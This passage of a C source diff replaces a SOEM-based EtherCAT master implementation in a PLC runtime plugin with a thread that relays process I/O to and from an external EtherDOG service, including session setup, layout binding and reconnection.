the layout, bind it to ethercat_iomapping.json, + * open the data session, spawn the relay thread + * relay: per input frame, publish %I through the journal, then read %Q under + * image_lock and answer with an output frame + * stop_loop: stop the relay, close the session and stop the bus + * If EtherDOG goes quiet (restart, crash) the relay reconnects on its own; plc_main keeps + * running with the last inputs meanwhile and EtherDOG drives the outputs to the safe state. */ -/* _GNU_SOURCE pulls in glibc extensions used by the bus thread: - * - pthread_setname_np() for `top` / `htop` thread naming - * - pthread_kill() for SIGUSR1 wake-up on stop - * Must come before any system header. */ #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif -#include #include -#include +#include +#include +#include #include -#include #include #include #include -#include -#include #include #include +#include "cJSON.h" +#include "etherdog_link.h" +#include "ethercat_iomap.h" #include "plugin_logger.h" #include "plugin_types.h" -#include "ethercat_plugin.h" -#include "ethercat_config.h" -#include "ethercat_master.h" -#include "ethercat_io.h" -#include "soem/soem.h" /* osal_get_monotonic_time, ec_timet */ -#include "cJSON.h" /* JSON parsing for execute_command */ -/* Forward declaration: ecat_bus_thread is defined alongside the bus - * loop further down in the file but referenced first by - * start_single_master via pthread_create. */ -static void *ecat_bus_thread(void *arg); +#define RELAY_PRIORITY 85 +#define RECV_TIMEOUT_MS 100 +#define SILENCE_RECONNECT_MS 1000 +#define RECONNECT_BACKOFF_MS 1000 +#define START_TIMEOUT_MS 60000 +#define LAYOUT_BUF (512 * 1024) -/* - * ============================================================================= - * Constants - * ============================================================================= - */ +static plugin_logger_t g_logger; +static plugin_runtime_args_t g_args; +static char g_session_file[256] = EDL_SESSION_FILE; +static ecat_iomap_t g_map; +static ecat_bound_map_t g_bound; +static edl_link_t g_link; +static bool g_linked = false; +static bool g_have_map = false; -/** Minimum timeout for receive in microseconds */ -#define ECAT_MIN_RECEIVE_TIMEOUT_US 200 +static pthread_t g_relay; +static atomic_bool g_running = false; +static bool g_relay_started = false; -/* - * ============================================================================= - * Inline Timing Helpers - * ============================================================================= - */ +/* ----------------------------------------------------------------------------------------- */ -/** - * @brief Convert ec_timet (struct timespec) to nanoseconds - */ -static inline uint64_t timespec_to_ns(const ec_timet *ts) +static void sleep_ms(int ms) { - return (uint64_t)ts->tv_sec * 1000000000ULL + (uint64_t)ts->tv_nsec; + struct timespec ts = { ms / 1000, (long)(ms % 1000) * 1000000L }; + nanosleep(&ts, NULL); } -/** - * @brief Return elapsed nanoseconds between two timestamps - */ -static inline uint64_t elapsed_ns(const ec_timet *start, const ec_timet *end) +static int call_json(edl_link_t *link, const char *command, char *resp, size_t size, int timeout) { - uint64_t s = timespec_to_ns(start); - uint64_t e = timespec_to_ns(end); - return (e > s) ? (e - s) : 0; + char req[64]; + snprintf(req, sizeof(req), "{\"command\":\"%s\"}", command); + return edl_call(link, req, resp, size, timeout); } -/* - * ============================================================================= - * EtherCAT AL State to String Helper - * ============================================================================= - */ - -/** - * @brief Convert SOEM EC_STATE_* value to a human-readable string - */ -static const char *al_state_to_string(uint16_t state) +/* Bring the link up: connect, start the bus, bind the layout, open the data session. */ +static int link_up(char *err, size_t err_size) { - /* Mask off the error bit for comparison */ - uint16_t base = state & 0x0F; - int has_error = (state & EC_STATE_ERROR) != 0; + edl_session_t session; + if (edl_read_session(g_session_file, &session, err, err_size) != 0) + return -1; + if (edl_connect(&g_link, &session, err, err_size) != 0) + return -1; - const char *name; - switch (base) { - case EC_STATE_NONE: name = "NONE"; break; - case EC_STATE_INIT: name = "INIT"; break; - case EC_STATE_PRE_OP: name = "PRE-OP"; break; - case EC_STATE_BOOT: name = "BOOT"; break; - case EC_STATE_SAFE_OP: name = "SAFE-OP"; break; - case EC_STATE_OPERATIONAL: name = "OP"; break; - default: name = "UNKNOWN"; break; + static char resp[LAYOUT_BUF]; + if (call_json(&g_link, "start", resp, sizeof(resp), START_TIMEOUT_MS) != 0) { + snprintf(err, err_size, "no reply from EtherDOG to 'start'"); + goto fail; } - - /* Return static strings for common cases */ - if (!has_error) - return name; - - /* For error states, we just note it. Since we return static strings, - * use a small set of pre-defined error state strings. */ - switch (base) { - case EC_STATE_INIT: return "INIT+ERR"; - case EC_STATE_PRE_OP: return "PRE-OP+ERR"; - case EC_STATE_SAFE_OP: return "SAFE-OP+ERR"; - default: return "UNKNOWN+ERR"; + if (strstr(resp, "\"error\"") != NULL) { + snprintf(err, err_size, "EtherDOG could not start the bus: %.300s", resp); + goto fail; } -} - -/* - * ============================================================================= - * Local String Helper - * ============================================================================= - */ - -static void safe_strcpy_local(char *dest, const char *src, size_t max_len) -{ - if (src == NULL) { dest[0] = '\0'; return; } - strncpy(dest, src, max_len - 1); - dest[max_len - 1] = '\0'; -} - -/* - * ============================================================================= - * Diag Reset Helper - * ============================================================================= - * - * Runs before the monitor thread is created and before the PLC enters - * OPERATIONAL — no concurrency yet, so memset is sufficient to zero the - * atomic fields. The min sentinel starts at UINT64_MAX so the first - * cycle's "less-than" comparison wins. - */ -static void diag_reset(ecat_cycle_diag_t *d) -{ - memset(d, 0, sizeof(*d)); - atomic_store_explicit(&d->min_bus_cycle_ns, UINT64_MAX, memory_order_relaxed); - atomic_store_explicit(&d->min_period_ns, UINT64_MAX, memory_order_relaxed); - atomic_store_explicit(&d->min_latency_ns, INT64_MAX, memory_order_relaxed); -} - -/* - * ============================================================================= - * Mutex Init Helper - * ============================================================================= - * - * Initializes a mutex with PTHREAD_PRIO_INHERIT so that the SCHED_FIFO PLC - * thread does not get blocked behind a normal-priority thread that holds - * the same lock (priority inversion). Falls back gracefully on platforms - * that do not support the protocol attribute. - */ -static int ecat_mutex_init_pi(pthread_mutex_t *m) -{ - pthread_mutexattr_t attr; - if (pthread_mutexattr_init(&attr) != 0) - return -1; -#if !defined(__CYGWIN__) && !defined(_WIN32) - /* Best-effort: ignore failure (some libcs return ENOTSUP) */ - (void)pthread_mutexattr_setprotocol(&attr, PTHREAD_PRIO_INHERIT); -#endif - int rc = pthread_mutex_init(m, &attr); - pthread_mutexattr_destroy(&attr); - return rc; -} - - -/* - * ============================================================================= - * Plugin-Wide State - * ============================================================================= - * - * The logger and runtime args are shared across all masters. - * Per-master state is in the g_masters[] array. - */ - -static plugin_logger_t g_logger; -static plugin_runtime_args_t g_runtime_args; -static ecat_master_instance_t *g_masters = NULL; /* heap-allocated array */ -static int g_master_count = 0; - -/* - * ============================================================================= - * Per-Instance Slaves Snapshot - * ============================================================================= - */ - -/** - * @brief Build and publish a snapshot of per-slave AL state. - * - * Reads from ecx_context.slavelist[] and config.slaves[] into a stack - * array, then memcpy-publishes under slaves_mutex. The caller must - * hold soem_lock when calling this (the read of slavelist[] races with - * monitor recovery otherwise). - * - * Counters/timing are NOT cached here -- consumers (build_master_*_json) - * read them lock-free via atomic_load directly from inst->diag. - */ -static void publish_slaves_snapshot(ecat_master_instance_t *inst) -{ - ecat_slave_status_t local[ECAT_MAX_SLAVES]; - memset(local, 0, sizeof(local)); - - int n = inst->config.slave_count; - if (n > ECAT_MAX_SLAVES) - n = ECAT_MAX_SLAVES; - - for (int i = 0; i < n; i++) { - const ecat_slave_t *cfg = &inst->config.slaves[i]; - ecat_slave_status_t *ss = &local[i]; - - ss->position = cfg->position; - strncpy(ss->name, cfg->name, ECAT_MAX_NAME_LEN - 1); - ss->name[ECAT_MAX_NAME_LEN - 1] = '\0'; - - const ec_slavet *soem = ecat_master_get_slave(inst, cfg->position); - if (soem) { - ss->al_state = soem->state; - ss->al_status_code = soem->ALstatuscode; - } + if (call_json(&g_link, "layout", resp, sizeof(resp), 5000) != 0) { + snprintf(err, err_size, "no reply from EtherDOG to 'layout'"); + goto fail; } - pthread_mutex_lock(&inst->slaves_mutex); - memcpy(inst->slaves_snapshot, local, sizeof(local)); - inst->slaves_snapshot_count = n; - pthread_mutex_unlock(&inst->slaves_mutex); -} - -#if ECAT_ENABLE_MONITOR_THREAD -/* - * ============================================================================= - * Mailbox Drain + Error Queue (runs in monitor thread) - * ============================================================================= - * - * SOEM dispatches CoE Emergencies internally when ecx_mbxreceive sees a - * mailbox with CANopen header service=1. But mbxreceive only fires when - * something else (SDO write/read) drains SM1 -- in steady-state OP we - * never trigger it, so emergencies pile up in the slave's SM1 until the - * next mailbox transaction. ecx_mbxhandler is SOEM's periodic drain: - * it walks the mailbox queues for the group and processes pending in/out - * mailboxes. Run it from the monitor thread (cold path), then pop the - * resulting ec_errort entries (Emergencies, SDO aborts, MBX errors) from - * SOEM's internal error queue and surface them through the plugin logger. - */ - -/** Map ec_err_type to a short human-readable tag for log lines. */ -static const char *ecat_err_type_name(ec_err_type t) -{ - switch (t) { - case EC_ERR_TYPE_SDO_ERROR: return "SDO"; - case EC_ERR_TYPE_EMERGENCY: return "EMERGENCY"; - case EC_ERR_TYPE_PACKET_ERROR: return "PACKET"; - case EC_ERR_TYPE_SDOINFO_ERROR: return "SDOINFO"; - case EC_ERR_TYPE_FOE_ERROR: return "FOE"; - case EC_ERR_TYPE_FOE_BUF2SMALL: return "FOE_BUF2SMALL"; - case EC_ERR_TYPE_FOE_PACKETNUMBER: return "FOE_PKTNUM"; - case EC_ERR_TYPE_SOE_ERROR: return "SOE"; - case EC_ERR_TYPE_MBX_ERROR: return "MBX"; - case EC_ERR_TYPE_FOE_FILE_NOTFOUND: return "FOE_NOTFOUND"; - case EC_ERR_TYPE_EOE_INVALID_RX_DATA: return "EOE_RX"; + cJSON *layout = cJSON_Parse(resp); + if (layout == NULL) { + snprintf(err, err_size, "EtherDOG layout reply is not JSON"); + goto fail; } - return "UNKNOWN"; -} + int rc = ecat_iomap_bind(&g_map, layout, &g_args, &g_bound, err, err_size); + cJSON_Delete(layout); + if (rc != 0) + goto fail; -/** - * @brief Surface one popped ec_errort through the plugin logger. - * - * Emergency Error Code 0x0000 (CiA 301) is a "no error / error reset" - * notification -- log at info level so operators can see drives clearing - * faults, but don't escalate to warn/error. - */ -static void log_ecat_error(const ecat_master_instance_t *inst, const ec_errort *e) -{ - const char *type = ecat_err_type_name(e->Etype); + char dir_buf[256]; + snprintf(dir_buf, sizeof(dir_buf), "%s", g_session_file); + if (edl_open_data(&g_link, &session, dirname(dir_buf), err, err_size) != 0) + goto fail; - if (e->Etype == EC_ERR_TYPE_EMERGENCY) { - /* CiA 301 "Error reset / no error" carries ErrorCode 0x0000. - * Surface as info so operators can see drives clearing faults - * without escalating to error level. */ - if (e->ErrorCode == 0x0000) { + for (int i = 0; i < ECAT_IOMAP_MAX_MASTERS; i++) { + const ecat_bound_master_t *m = &g_bound.masters[i]; + if (m->active) plugin_logger_info(&g_logger, - "Master '%s': %s slave=%u code=0x%04X reg=0x%02X " - "data=%02X %04X %04X (error reset)", - inst->name, type, (unsigned)e->Slave, - (unsigned)e->ErrorCode, (unsigned)e->ErrorReg, - (unsigned)e->b1, (unsigned)e->w1, (unsigned)e->w2); - } else { - plugin_logger_error(&g_logger, - "Master '%s': %s slave=%u code=0x%04X reg=0x%02X " - "data=%02X %04X %04X", - inst->name, type, (unsigned)e->Slave, - (unsigned)e->ErrorCode, (unsigned)e->ErrorReg, - (unsigned)e->b1, (unsigned)e->w1, (unsigned)e->w2); - } - } else { - plugin_logger_warn(&g_logger, - "Master '%s': %s slave=%u index=0x%04X:%u abort=0x%08X", - inst->name, type, (unsigned)e->Slave, - (unsigned)e->Index, (unsigned)e->SubIdx, - (unsigned)e->AbortCode); - } -} - -/** - * @brief Drain SM1 mailboxes and SOEM's internal error queue. - * - * Acquires soem_lock briefly, calls ecx_mbxhandler to dispatch any pending - * mailbox traffic (SOEM internally pushes CoE Emergencies into elist when - * it sees them), then pops the queued errors into a local buffer and - * releases the lock before logging -- plugin_logger does a synchronous - * socket write that we don't want under soem_lock. - * - * Caller is the monitor thread. No-op when SOEM is not initialized so a - * future refactor that reorders stop (close before join) cannot turn this - * into use-after-close on the raw socket. - */ -static void drain_mailbox_and_errors(ecat_master_instance_t *inst) -{ - if (!inst->soem_initialized) - return; - - /* EC_MAXELIST is SOEM's queue capacity; we never need more slots. */ - ec_errort errors[EC_MAXELIST]; - int err_count = 0; - - pthread_mutex_lock(&inst->soem_lock); - /* limit=8 caps work per call -- mbxhandler iterates queued mailbox - * operations across the group; the cap keeps the lock window bounded - * even when traffic is bursty. */ - ecx_mbxhandler(&inst->ecx_context, 0, 8); - while (err_count < EC_MAXELIST && - ecx_poperror(&inst->ecx_context, &errors[err_count])) { - err_count++; + "Master %d: %d input(s), %d output(s) bound (image %u/%u bytes)", i, + m->input_count, m->output_count, m->input_bytes, m->output_bytes); } - pthread_mutex_unlock(&inst->soem_lock); + g_linked = true; + return 0; - for (int i = 0; i < err_count; i++) - log_ecat_error(inst, &errors[i]); +fail: + edl_close(&g_link); + g_linked = false; + return -1; } -/* - * ============================================================================= - * Recovery Logic (runs in monitor thread, never in PLC scan cycle) - * ============================================================================= - */ - -/** - * @brief Attempt to recover all slaves that are not in OP - * - * Acquires inst->soem_lock per slave (not for the whole iteration), - * yielding briefly between slaves so the RT PLC thread can grab the - * lock and run an exchange. Without chunking, recovery of N slaves - * holds the lock contiguously for ~N * (ecx_writestate + ecx_statecheck - * + ecx_recover_slave) -- seconds, in the worst case -- and the PLC's - * trylock fails for that entire window, freezing I/O at stale values. - * - * @param inst Per-master instance - * @return 1 if all slaves back in OP, 0 if some still recovering, -1 on max attempts - */ -static int attempt_recovery(ecat_master_instance_t *inst) +static void link_down(bool stop_bus) { - /* Initial state read under lock so cycle_start_single never sees - * a slavelist[] mid-update. */ - pthread_mutex_lock(&inst->soem_lock); - ecat_master_read_states(inst); - pthread_mutex_unlock(&inst->soem_lock); - - int all_ok = 1; - - /* 1 ms is comfortably above one PLC tick at typical cycle times - * (250 us-1 ms), giving the higher-priority RT thread a guaranteed - * window to grab the lock between our per-slave acquisitions. In - * configurations with cycle_time > 1 ms, the trylock would still - * fail occasionally but exchange_skips no longer climb continuously. */ - const struct timespec yield = { 0, 1000 * 1000 }; /* 1 ms */ - - for (int i = 0; i < inst->config.slave_count; i++) { - int pos = inst->config.slaves[i].position; - - pthread_mutex_lock(&inst->soem_lock); - uint16_t state = ecat_master_get_slave_state(inst, pos); - /* 0 = no recovery needed (slave already in OP); only set to a - * negative value if ecat_master_recover_slave reports an error. */ - int result = 0; - if (state != EC_STATE_OPERATIONAL) { - all_ok = 0; - result = ecat_master_recover_slave(inst, pos, &g_logger); - } - pthread_mutex_unlock(&inst->soem_lock); - - if (result < 0) { - plugin_logger_error(&g_logger, - "Master '%s': Slave %d (%s): recovery error", - inst->name, pos, inst->config.slaves[i].name); - } - - nanosleep(&yield, NULL); - } - - if (all_ok) { - plugin_logger_info(&g_logger, - "Master '%s': All slaves recovered to OPERATIONAL (attempts=%d)", - inst->name, atomic_load(&inst->recovery_attempts)); - atomic_store(&inst->recovery_attempts, 0); - atomic_store(&inst->recovery_writestate_failures, 0); - atomic_store(&inst->consecutive_wkc_errors, 0); - return 1; - } - - /* Single-writer (monitor thread) — fetch_add not needed; load+store is - * sufficient and communicates the ownership model. */ - int attempts = atomic_load_explicit(&inst->recovery_attempts, - memory_order_relaxed) + 1; - atomic_store_explicit(&inst->recovery_attempts, attempts, - memory_order_relaxed); - - if (attempts >= ECAT_MAX_RECOVERY_ATTEMPTS) { - plugin_logger_error(&g_logger, - "Master '%s': Maximum recovery attempts (%d) reached - transitioning to ERROR", - inst->name, ECAT_MAX_RECOVERY_ATTEMPTS); - return -1; + if (g_link.ctl_fd >= 0) { + char resp[256]; + call_json(&g_link, "close_data", resp, sizeof(resp), 2000); + if (stop_bus) + call_json(&g_link, "stop", resp, sizeof(resp), 10000); } - - plugin_logger_warn(&g_logger, - "Master '%s': Recovery attempt %d/%d - some slaves not yet in OP", - inst->name, attempts, ECAT_MAX_RECOVERY_ATTEMPTS); - return 0; + edl_close(&g_link); + g_linked = false; } -/* - * ============================================================================= - * Background Monitor Thread (per-instance) - * ============================================================================= - */ - -/** - * @brief Background thread for slave state monitoring, recovery, and logging. - * - * Runs at default (non-RT) priority. Periodically: - * - Acquires inst->soem_lock (PLC trylocks the same mutex; if the - * monitor is holding it, the PLC skips one exchange cycle). - * - Reads slave states via ecx_readstate() and publishes the slaves - * snapshot. - * - Performs recovery if in RECOVERING state. - * - Emits user-facing log messages on state and counter transitions - * so the PLC hot path never calls plugin_logger_* (which serialises - * on a global mutex and writes synchronously to a Unix socket). - * - * @param arg Pointer to the ecat_master_instance_t for this master - */ -static void *ecat_monitor_thread(void *arg) +static void *relay_thread(void *arg) { - ecat_master_instance_t *inst = (ecat_master_instance_t *)arg; - - /* Local state for transition-based logging. All scoped to this - * thread, so no atomics or struct fields needed. Stats are only - * emitted on transitions (state change, WKC errors start/clear) -- - * continuous metrics are already exposed via the status / diagnostics - * commands consumed by the editor. */ - int last_logged_state = -1; - int last_logged_consec_wkc = 0; - - plugin_logger_info(&g_logger, - "Master '%s': monitor thread started (interval=%d ms)", - inst->name, ECAT_MONITOR_INTERVAL_MS); - - while (atomic_load(&inst->monitor_running)) { - int state = atomic_load(&inst->plugin_state); + (void)arg; + pthread_setname_np(pthread_self(), "ecat-relay"); + struct sched_param sp = { .sched_priority = RELAY_PRIORITY }; + if (pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp) != 0) + plugin_logger_warn(&g_logger, "relay: SCHED_FIFO(%d) unavailable: %s", RELAY_PRIORITY, + strerror(errno)); - if (state == ECAT_STATE_OPERATIONAL) { - /* Periodic state check. Publish slaves snapshot while still - * holding the lock, so the read of slavelist[] is consistent. */ - pthread_mutex_lock(&inst->soem_lock); - ecat_master_read_states(inst); - publish_slaves_snapshot(inst); - pthread_mutex_unlock(&inst->soem_lock); + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + uint8_t outputs[EDL_MAX_PAYLOAD]; + int silent_ms = 0; + char err[512]; + bool reported = false; - } else if (state == ECAT_STATE_RECOVERING) { - /* attempt_recovery acquires soem_lock per slave with a yield - * in between, so the PLC trylock has frequent windows to - * succeed during recovery. Snapshot publish takes the lock - * once after recovery returns. */ - int result = attempt_recovery(inst); - - pthread_mutex_lock(&inst->soem_lock); - publish_slaves_snapshot(inst); - pthread_mutex_unlock(&inst->soem_lock); - - if (result == 1) { - atomic_store(&inst->plugin_state, ECAT_STATE_OPERATIONAL); - plugin_logger_info(&g_logger, - "Master '%s': [state: OPERATIONAL] Recovered from error", - inst->name); - } else if (result == -1) { - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); - plugin_logger_error(&g_logger, - "Master '%s': entered ERROR state after max recovery attempts", - inst->name); + while (atomic_load(&g_running)) { + if (!g_linked) { + if (link_up(err, sizeof(err)) != 0) { + if (!reported) + plugin_logger_warn(&g_logger, "EtherDOG link down, retrying: %s", err); + reported = true; + sleep_ms(RECONNECT_BACKOFF_MS); + continue; } + plugin_logger_info(&g_logger, "EtherDOG link %s", reported ? "restored" : "up"); + reported = false; + silent_ms = 0; } - /* Drain SM1 mailboxes (CoE Emergencies, async SDO responses) and - * surface anything SOEM pushed into its internal error queue. - * Skip in ERROR/STOPPED -- mailbox state is undefined when slaves - * are not at least in PRE-OP. */ - int mbx_state = atomic_load(&inst->plugin_state); - if (mbx_state == ECAT_STATE_OPERATIONAL || - mbx_state == ECAT_STATE_RECOVERING) { - drain_mailbox_and_errors(inst); - } - - /* --- Transition-based logging (replaces hot-path PLC logs) --- */ - - int curr_state = atomic_load(&inst->plugin_state); - if (curr_state != last_logged_state) { - if (curr_state == ECAT_STATE_RECOVERING) { - plugin_logger_warn(&g_logger, - "Master '%s': WKC error threshold (%d) reached, " - "[state: RECOVERING]", - inst->name, ECAT_WKC_ERROR_THRESHOLD); + int master = 0; + uint8_t flags = 0; + const uint8_t *payload = NULL; + size_t len = 0; + int rc = edl_recv_inputs(&g_link, frame, sizeof(frame), RECV_TIMEOUT_MS, &master, &flags, + &payload, &len); + if (rc <= 0) { + silent_ms += RECV_TIMEOUT_MS; + if (rc < 0 || silent_ms >= SILENCE_RECONNECT_MS) { + plugin_logger_warn(&g_logger, "EtherDOG silent for %d ms, reconnecting", + silent_ms); + link_down(false); + reported = true; } - last_logged_state = curr_state; + continue; } + silent_ms = 0; - int consec = atomic_load(&inst->consecutive_wkc_errors); - if (consec > 0 && last_logged_consec_wkc == 0) { - plugin_logger_warn(&g_logger, - "Master '%s': WKC errors detected (consecutive=%d, expected=%d)", - inst->name, consec, inst->expected_wkc); - last_logged_consec_wkc = consec; - } else if (consec == 0 && last_logged_consec_wkc != 0) { - plugin_logger_info(&g_logger, - "Master '%s': WKC errors cleared", inst->name); - last_logged_consec_wkc = 0; + const ecat_bound_master_t *m = &g_bound.masters[master]; + if (!m->active) { + /* A running master nothing is mapped to: keep it fed with zero outputs. */ + memset(outputs, 0, sizeof(outputs)); + edl_send_outputs(&g_link, master, outputs, len, true); + continue; } - /* Sleep for the monitor interval */ - struct timespec sleep_ts; - sleep_ts.tv_sec = ECAT_MONITOR_INTERVAL_MS / 1000; - sleep_ts.tv_nsec = (ECAT_MONITOR_INTERVAL_MS % 1000) * 1000000L; - nanosleep(&sleep_ts, NULL); - } + if (flags & EDL_FLAG_VALID) + ecat_iomap_publish_inputs(m, payload, len, &g_args); - plugin_logger_info(&g_logger, "Master '%s': monitor thread exiting", inst->name); + g_args.image_lock(); + ecat_iomap_collect_outputs(m, outputs, m->output_bytes); + g_args.image_unlock(); + edl_send_outputs(&g_link, master, outputs, m->output_bytes, true); + } return NULL; } -#endif /* ECAT_ENABLE_MONITOR_THREAD */ -/* - * ============================================================================= - * Per-Instance Helpers for start_loop / stop_loop / cycle_start - * ============================================================================= - */ +/* --- plugin entry points ------------------------------------------------------------------- */ -/** - * @brief Start a single EtherCAT master instance - * - * Runs through SCANNING -> CONFIGURING -> TRANSITIONING -> OPERATIONAL - * for one master. On failure the instance is set to ERROR state. - * - * @param inst Per-master instance - * @return 0 on success, -1 on failure - */ -static int start_single_master(ecat_master_instance_t *inst) +int init(void *args) { - if (inst->config.slave_count == 0) { - plugin_logger_warn(&g_logger, - "Master '%s': No slaves configured - skipping", inst->name); - return -1; - } - - /* --- Phase 1: SCANNING --- */ - atomic_store(&inst->plugin_state, ECAT_STATE_SCANNING); - plugin_logger_info(&g_logger, - "Master '%s': [state: SCANNING] Opening interface and scanning bus...", - inst->name); - - if (ecat_master_open_and_scan(inst, &g_logger) != 0) { - plugin_logger_error(&g_logger, "Master '%s': Bus scan failed", inst->name); - /* open_and_scan may have partially applied iface state -- close reverts it. */ - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); + plugin_logger_init(&g_logger, "ETHERCAT", NULL); + if (args == NULL) { + plugin_logger_error(&g_logger, "init args is NULL"); return -1; } + memcpy(&g_args, args, sizeof(g_args)); + plugin_logger_init(&g_logger, "ETHERCAT", args); - /* --- Phase 2: CONFIGURING (SDO writes + PDO mapping) --- */ - atomic_store(&inst->plugin_state, ECAT_STATE_CONFIGURING); - plugin_logger_info(&g_logger, - "Master '%s': [state: CONFIGURING] Writing SDOs and mapping process data...", - inst->name); + const char *override = getenv("ETHERDOG_SESSION_FILE"); + if (override != NULL && override[0] != '\0') + snprintf(g_session_file, sizeof(g_session_file), "%s", override); - /* Write SDOs for each slave that has them configured. When - * slave->strict_sdo is true (default) any failed write aborts the - * master so it never enters OPERATIONAL with a half-configured slave. */ - for (int i = 0; i < inst->config.slave_count; i++) { - const ecat_slave_t *slave = &inst->config.slaves[i]; - if (slave->sdo_count == 0) - continue; + edl_init(&g_link); - int rc = ecat_master_write_sdos(inst, slave->position, slave->sdo_configs, - slave->sdo_count, - slave->timeouts.sdo_timeout_ms, &g_logger); - if (rc != 0 && slave->strict_sdo) { - plugin_logger_error(&g_logger, - "Master '%s': Slave %d (%s): SDO config failed and strict_sdo=true -- aborting startup", - inst->name, slave->position, slave->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); - return -1; - } + /* Initialized even when disabled (for command forwarding): no mapping file is not an error. */ + const char *path = g_args.plugin_specific_config_file_path; + if (access(path, R_OK) != 0) { + plugin_logger_debug(&g_logger, "no I/O mapping at %s", path); + return 0; } - /* Map process data and configure DC */ - if (ecat_master_configure(inst, &g_logger) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': Process data mapping failed", inst->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); + char err[512]; + if (ecat_iomap_load(path, &g_map, err, sizeof(err)) != 0) { + plugin_logger_error(&g_logger, "%s", err); return -1; } + g_have_map = true; + int total = 0; + for (int i = 0; i < g_map.master_count; i++) + total += g_map.masters[i].entry_count; + plugin_logger_info(&g_logger, "I/O mapping loaded: %d master(s), %d entries", g_map.master_count, + total); + return 0; +} - /* Build channel map for process data exchange. Partial maps are - * rejected -- the operator must fix the JSON before the master can - * enter OPERATIONAL with stale variable bindings. */ - if (ecat_io_build_channel_map(&inst->config, &inst->channel_map, - inst, &g_runtime_args, &g_logger) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': channel map build failed -- aborting startup", - inst->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); +int start_loop(void) +{ + if (g_relay_started) + return 0; + if (!g_have_map) { + plugin_logger_error(&g_logger, "no I/O mapping loaded (ethercat_iomapping.json)"); return -1; } - - /* Build pre-resolved transfer list for fast per-cycle I/O */ - if (ecat_io_build_transfer_list(&inst->channel_map, &inst->transfer_list, - &g_runtime_args, &g_logger) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': transfer list build failed -- aborting startup", - inst->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); + if (!g_args.image_lock || !g_args.image_unlock || !g_args.journal_write_bool || + !g_args.journal_write_byte || !g_args.journal_write_int || !g_args.journal_write_dint || + !g_args.journal_write_lint) { + plugin_logger_error(&g_logger, "runtime did not provide the image/journal entry points"); return -1; } - /* Cache expected WKC */ - inst->expected_wkc = ecat_master_get_expected_wkc(inst); - plugin_logger_info(&g_logger, "Master '%s': Expected WKC: %d", - inst->name, inst->expected_wkc); - - inst->receive_timeout_us = inst->config.master.receive_timeout_us; - if (inst->receive_timeout_us < ECAT_MIN_RECEIVE_TIMEOUT_US) - inst->receive_timeout_us = ECAT_MIN_RECEIVE_TIMEOUT_US; - plugin_logger_info(&g_logger, - "Master '%s': Receive timeout: %d us (cycle_time=%d us)", - inst->name, inst->receive_timeout_us, inst->config.master.cycle_time_us); - - /* --- Phase 3: TRANSITIONING --- */ - atomic_store(&inst->plugin_state, ECAT_STATE_TRANSITIONING); - plugin_logger_info(&g_logger, - "Master '%s': [state: TRANSITIONING] Moving slaves to OPERATIONAL...", - inst->name); - - if (ecat_master_transition_to_op(inst, &g_logger) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': Failed to reach OPERATIONAL state", inst->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); + char err[512]; + if (link_up(err, sizeof(err)) != 0) { + plugin_logger_error(&g_logger, "EtherCAT start failed: %s", err); return -1; } - /* --- Phase 4: OPERATIONAL --- */ - atomic_store(&inst->consecutive_wkc_errors, 0); - atomic_store(&inst->recovery_attempts, 0); - atomic_store(&inst->recovery_writestate_failures, 0); - inst->cycle_counter = 0; - diag_reset(&inst->diag); - - /* Time-based EWMA window in samples — chosen so the wall-clock - * smoothing window matches ECAT_AVG_TARGET_WINDOW_NS regardless of - * the configured cycle rate. Same scheme as scan_cycle_tracker. */ - { - int64_t cycle_ns = (int64_t)inst->config.master.cycle_time_us * 1000LL; - inst->avg_window = (cycle_ns > 0) - ? (ECAT_AVG_TARGET_WINDOW_NS / cycle_ns) - : 1; - if (inst->avg_window < 1) inst->avg_window = 1; - } - - atomic_store(&inst->plugin_state, ECAT_STATE_OPERATIONAL); - - /* Send one initial exchange to populate the IOmap with slave data */ - ecat_master_exchange_processdata(inst, inst->receive_timeout_us); - - /* Initial publish before the monitor thread starts. No concurrency - * yet: PLC has not entered cycle_start_single and the monitor does - * not exist. */ - publish_slaves_snapshot(inst); - -#if ECAT_ENABLE_MONITOR_THREAD - /* Start background monitor thread for state checks and recovery. - * soem_lock is initialized in init() once per instance. */ - atomic_store(&inst->exchange_skips, 0); - atomic_store(&inst->monitor_running, true); - - if (pthread_create(&inst->monitor_thread, NULL, ecat_monitor_thread, inst) != 0) { - plugin_logger_warn(&g_logger, - "Master '%s': Failed to create monitor thread - " - "running without state monitoring", inst->name); - atomic_store(&inst->monitor_running, false); - } -#endif - - /* Per-iface external state (NIC tuning + IP isolation) is applied - * inside ecat_master_open_and_scan() and reverted inside - * ecat_master_close(). */ - - /* Spawn the dedicated bus thread. SCHED_FIFO + absolute clock_nanosleep - * driving the SOEM exchange at master.cycle_time_us. */ - atomic_store(&inst->bus_running, true); - if (pthread_create(&inst->bus_thread, NULL, ecat_bus_thread, inst) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': Failed to create bus thread: %s", - inst->name, strerror(errno)); - atomic_store(&inst->bus_running, false); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); + atomic_store(&g_running, true); + if (pthread_create(&g_relay, NULL, relay_thread, NULL) != 0) { + plugin_logger_error(&g_logger, "cannot create relay thread: %s", strerror(errno)); + atomic_store(&g_running, false); + link_down(true); return -1; } - - plugin_logger_info(&g_logger, - "Master '%s': [state: OPERATIONAL] EtherCAT master started " - "(dedicated bus thread, cycle=%d us, monitor=%s)", - inst->name, inst->config.master.cycle_time_us, - ECAT_ENABLE_MONITOR_THREAD ? "enabled" : "disabled"); - + g_relay_started = true; + plugin_logger_info(&g_logger, "EtherCAT relay running"); return 0; } -/** - * @brief Stop a single master instance - * - * Stops the monitor 